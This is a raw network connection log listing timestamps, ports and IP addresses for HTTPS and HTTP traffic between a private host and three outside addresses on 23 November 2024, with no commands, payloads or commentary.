Nov 23, 2024 11:22:06.131757021 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.131795883 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.149364948 CET	443	49748	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.149435043 CET	443	49748	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.149570942 CET	49748	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.149723053 CET	49748	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.149741888 CET	443	49748	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.149751902 CET	49748	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.149758101 CET	443	49748	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.151942968 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.151963949 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.152040958 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.152199030 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.152209997 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.153018951 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.153074980 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.153186083 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.153217077 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.153220892 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.153230906 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.153234005 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.154994965 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.155085087 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.155162096 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.155291080 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.155327082 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.025578976 CET	49753	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:07.025952101 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:07.145535946 CET	80	49759	185.215.113.43	192.168.2.4
Nov 23, 2024 11:22:07.145663977 CET	80	49753	185.215.113.43	192.168.2.4
Nov 23, 2024 11:22:07.145725012 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:07.145895958 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:07.145895004 CET	49753	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:07.266123056 CET	80	49759	185.215.113.43	192.168.2.4
Nov 23, 2024 11:22:07.870958090 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.871551991 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:07.871568918 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.872026920 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:07.872031927 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.875258923 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.875672102 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:07.875740051 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.875874996 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:07.875890970 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.889822960 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.890065908 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:07.890127897 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.890320063 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.890425920 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:07.890441895 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.890620947 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:07.890636921 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.890954018 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:07.890959024 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.912942886 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.913320065 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:07.913383007 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:07.913517952 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:07.913532019 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.306700945 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.306771040 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.306832075 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.307074070 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.307085037 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.307097912 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.307102919 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.309915066 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.309952021 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.310025930 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.310111046 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.310178995 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.310188055 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.310192108 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.310255051 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.310345888 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.310345888 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.310384989 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.310412884 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.312447071 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.312484980 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.312555075 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.312654972 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.312674999 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.332921028 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.332962990 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.333072901 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.333103895 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.333123922 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.333153963 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.333244085 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.333255053 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.333262920 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.333266973 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.333404064 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.333404064 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.333420038 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.333434105 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.335978985 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.336004972 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.336076021 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.336194038 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.336208105 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.336884975 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.336898088 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.336961031 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.337124109 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.337137938 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.356719017 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.356786966 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.356848955 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.356956959 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.356956959 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.356975079 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.356997967 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.358851910 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.358879089 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.358949900 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.359046936 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:08.359057903 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:08.548861980 CET	80	49759	185.215.113.43	192.168.2.4
Nov 23, 2024 11:22:08.549040079 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:08.553646088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:08.673362970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:08.673491001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:08.673671007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:08.793181896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:08.915699959 CET	49724	80	192.168.2.4	23.193.114.18
Nov 23, 2024 11:22:09.036164045 CET	80	49724	23.193.114.18	192.168.2.4
Nov 23, 2024 11:22:09.036256075 CET	49724	80	192.168.2.4	23.193.114.18
Nov 23, 2024 11:22:10.057898045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.057959080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.057971001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.057986975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.058067083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.058111906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.058125019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.058136940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.058146954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.058162928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.058188915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.058199883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.058212042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.058223009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.058233976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.058270931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.058271885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.090619087 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.091152906 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.091173887 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.091687918 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.091694117 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.092770100 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.093005896 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.093022108 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.093322992 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.093327999 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.115031004 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.115497112 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.115509987 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.115832090 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.115837097 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.123699903 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.123992920 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.124000072 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.124360085 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.124363899 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.177591085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.177658081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.177800894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.181818962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.181888103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.204181910 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.204792023 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.204808950 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.205255985 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.205261946 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.259048939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.259198904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.259231091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.259305954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.261665106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.261734009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.261774063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.261833906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.270071030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.270116091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.270140886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.270175934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.278367043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.278422117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.278469086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.278523922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.287198067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.287260056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.287271976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.287347078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.295048952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.295137882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.295322895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.295384884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.303447962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.303515911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.303561926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.303622007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.311834097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.311903954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.311950922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.312007904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.320255041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.320297003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.320318937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.320369005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.327852011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.327907085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.327910900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.327955008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.335442066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.335494995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.335571051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.335623980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.378761053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.378858089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.378916025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.379062891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.382549047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.382606983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.460349083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.460396051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.460514069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.460514069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.461798906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.461863041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.461916924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.461978912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.466711044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.466804028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.466852903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.466928959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.471632957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.471703053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.471704960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.471761942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.476504087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.476564884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.476598024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.476654053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.481383085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.481466055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.481616974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.481672049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.486290932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.486354113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.486495018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.486592054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.491297007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.491352081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.491456032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.491509914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.496092081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.496162891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.496190071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.496234894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.500998974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.501071930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.501128912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.501189947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.505924940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.506014109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.506017923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.506074905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.510802031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.510859013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.510905027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.510955095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.514426947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.514482021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.514533043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.514595985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.518093109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.518157005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.518224955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.518279076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.521764994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.521778107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.521828890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.525329113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.525397062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.525455952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.525505066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.528811932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.528862953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.529025078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.529072046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.532407999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.532463074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.532505989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.532552958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.536017895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.536071062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.536130905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.536181927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.539227962 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.539280891 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.539328098 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.539566994 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.539582014 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.539592981 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.539597988 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.539690971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.539745092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.539762020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.539810896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.543004990 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.543035984 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.543131113 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.543226004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.543278933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.543303967 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.543320894 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.543349028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.543391943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.546829939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.546883106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.546916008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.546962023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.560853958 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.560898066 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.560959101 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.561111927 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.561117887 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.561151981 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.561156988 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.563647032 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.563678026 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.563771963 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.563922882 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.563936949 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.656708002 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.656896114 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.656955957 CET	49763	443	192.168.2.4	13.107.246.63
